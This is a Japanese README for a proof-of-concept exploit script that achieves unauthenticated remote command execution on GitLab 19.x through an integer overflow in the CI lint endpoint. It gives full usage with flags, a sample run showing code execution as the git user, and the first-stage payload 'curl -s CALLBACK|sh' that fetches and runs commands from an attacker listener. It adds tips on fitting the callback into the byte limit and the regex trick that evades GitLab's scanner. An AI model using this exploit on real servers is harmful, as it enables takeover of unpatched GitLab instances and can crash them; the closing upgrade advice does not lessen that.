
GitLab CI lint の整数オーバーフローによる RCE の PoC(CVE-2026-97229)。公式の 19.4.1 CE amd64 イメージに対して検証済み
poc.py は GitLab の公開 CI lint エンドポイントを通じて CVE-2026-97229 を悪用します。公開プロジェクトにプッシュする権限を持つ攻撃者が、CI 正規表現と特別に命名されたパスを提供します。この設定の後、認証情報なしのリクエストが GitLab の git アカウントとして選択したコマンドを実行します。
これは初期の PoC リリースです。脆弱性の分析、影響を受ける設定、および追加で到達可能なパスについては現在進行中です。Rapid7 の技術分析は以下にリンクされています。
GitLab はこの問題を CVSS 10.0 と評価しています。これは GitLab Community Edition および Enterprise Edition の 19.2 から 19.2.8 未満、19.3 から 19.3.5 未満、および 19.4 から 19.4.2 未満に影響します。
含まれているネイティブレイアウトは、公式 Linux amd64 gitlab/gitlab-ce:19.4.1-ce.0 イメージに対してのみテストされています:
gitlab/gitlab-ce@sha256:9b33b45b9f42d176bada85ee5ecb81ddab7e506c435f44cd582206e284b2809c
GET /api/v4/projects/:id/ci/lint に到達できます。19.4.1 CE amd64 Ruby レイアウトと一致していること。その他の影響を受けるビルドでは、pcode と libruby のオフセットを調整する必要があります。--cmd 実行と出力の返却を希望する場合、ターゲットがコールバックリスナーに到達できること。このチェーンにはプロジェクトへの書き込みアクセスが必要です。後続の配信リクエストにはトークン、Cookie、認証ヘッダーが含まれません。認証済みのクローン URL が、攻撃者のペイロードブランチをプッシュします。
Python 3.9 以降と Git クライアントを使用してください。スクリプトにはサードパーティの Python 依存関係はありません。
$ python3 poc.py https://g.example 123 \
--git-url 'https://oauth2:[email protected]/attacker/public-poc.git' \
--callback-url cb.ex:8000 \
--cmd 'uname -a && id'
[*] deployed attacker ref 69fe2478c446ab17afe4c150; executing: uname -a && id
[*] delivery GET https://g.example/api/v4/projects/123/ci/lint?content_ref=69fe2478c446ab17afe4c150
[*] target stopped responding after delivery: HTTP Error 502: Bad Gateway
[uname output omitted]
uid=998(git) gid=998(git) groups=998(git)
デフォルトのリスナーは 0.0.0.0:8000 にバインドされます。ローカルのバインドアドレスが --callback-url に指定したアドレスと異なる場合は、--listen-host または --listen-port を使用してください。
コールバック値は、28 バイトの第 1 段階コマンドに収まる必要があります。curl -s CALLBACK|sh の場合、CALLBACK は最大 17 UTF-8 バイトです。短い DNS 名、リダイレクター、またはトンネルエンドポイントが通常は最も簡単です。
GitLab エンドポイントが自己署名 TLS 証明書を使用している場合は、--insecure を使用してください。このフラグは lint リクエストに影響しますが、コールバックの TLS 処理は変更しません。
GET は通常、コールバック後に HTTP 502 で終了します。ペイロードは Puma ワーカー内で実行され、そのワーカーは system() が戻った後にクラッシュします。Puma はそれを自動的に置き換えます。返されたコマンド出力を成功の指標として扱い、HTTP ステータスは成功の指標としないでください。
正確なターゲット上で、このチェーンは ASLR を有効にしたクリーンなワーカーでの 10 回中 10 回の試行でコマンド出力を生成しました。各リクエストには約 12 秒かかりました。同じ正規表現とパスは、公式の 19.4.2 Ruby コンパイラではコールバックなしで false を返しました。
これをメモリの少ないターゲットに対して実行すると、コード実行ではなく、スワップ、アロケーション失敗、または OOM キルを引き起こす可能性があります。複数の同時リクエストは GitLab インスタンス全体に影響を与える可能性があります。
content_ref から .gitlab-ci.yml を読み取ります。include.rules.exists.regexp は式をコンパイルし、攻撃者が制御するリポジトリパスに対してテストします。{5(?#)7805} は Onigmo では {57805} になりますが、GitLab の繰り返しスキャナーを回避します。37,151 × 57,805 が INT_MAX を超え、生成された分岐オフセットが文字クラスのビットマップバイトにラップされます。libruby 内の system() 呼び出しサイトに到達します。--cmd をダウンロードし、stdout と stderr をリスナーに送り返します。Rapid7 の CVE-2026-97229 の技術分析 をお読みください。
GitLab 19.2.8、19.3.5、19.4.2、またはそれ以降のサポート対象リリースにアップグレードしてください。デプロイのガイダンスについては、GitLab の クリティカルパッチリリース を参照してください。